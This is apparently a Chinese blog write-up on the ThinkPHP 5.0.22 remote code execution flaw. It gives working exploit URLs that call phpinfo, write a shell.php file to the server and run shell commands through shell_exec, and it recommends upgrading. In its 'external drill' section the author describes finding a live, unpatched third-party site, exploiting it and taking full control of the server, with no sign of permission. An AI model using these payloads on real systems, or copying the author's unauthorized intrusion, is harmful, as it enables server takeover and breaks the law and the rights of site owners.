前言
thinkphp在国内的技术圈还是很有名的。近期该框架爆出远程执行漏洞。作为安全爱好者,自然要去试一试。
漏洞说明
由于ThinkPHP5 框架控制器名 没有进行足够的安全监测,导致在没有开启强制路由的情况下,可以伪装特定的请求可以直接Getshell(可以控制服务器)
本地复现
1、下载存在漏洞版本
我选择的版本是thinkphp_5.0.22
下载地址: 官方下载地址
搭建如图
![](https://img.haomeiwen.com/i32778/6a5584cd82b5a00a.png)
首页看不出具体的版本号。可以故意输入错误的url。错误页面有网址的版本号
![](https://img.haomeiwen.com/i32778/3c795f29f433e98d.png)
2、复现漏洞
这里构造几个特殊的url即可复现漏洞。
- 查看phpinfo信息。
http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
![](https://img.haomeiwen.com/i32778/e03391387554b8b1.png)
- 写入文件到服务器。
http://localhost/public/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=111
![](https://img.haomeiwen.com/i32778/37b3b52345cc4ae0.png)
- 执行shell命令
http://localhost/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cat%20/etc/issue
![](https://img.haomeiwen.com/i32778/91cf3810a2565d1d.png)
其他能干的就不再一一尝试,总之,这个漏洞非常严重。服务器完全被入侵。
如何修复。
升级为最新版本即可。
最新地址
这里不得不说下,这个漏洞很严重,但是tp的官方只是悄悄修复,更新公告中也简单的描叙,还居然只是推荐升级。
本人表示鄙视。以后不会再优先考虑使用tp框架。
外部演练
以上全部是本人在本地模拟,可能看不出严重性。于是我寻找了一个存在该漏洞,还未升级的站点进行了测试。
![](https://img.haomeiwen.com/i32778/ee9d3310dc23df49.png)
完全控制服务器
![](https://img.haomeiwen.com/i32778/47e954ee72f74fd4.png)
我登录的时候,已经早有人黑了该服务器。上面存在多个木马脚本和挖矿脚本。
最后
由于漏洞是2018年12月10号爆发出来的,目前各大主流服务器的防火墙已经可以拦截这个漏洞。
所以各大站长也不必太担心,尽快联系你服务器的安全服务提供者。如果无安全服务提供商,就尽快修复漏洞吧。否则如上图。
吐槽下,现在云服务器时代,漏洞的危害窗口期得确缩短了,基本大的云服务商会很快从底层去拦截该漏洞的利用。
但是也存在一个问题,漏洞现在传播的很快,没有被发现的漏洞太多,漏洞的利用越来越智能化、组合化。
最后,为了找到这个外部演练的站点,真的挺不容易的。
网友评论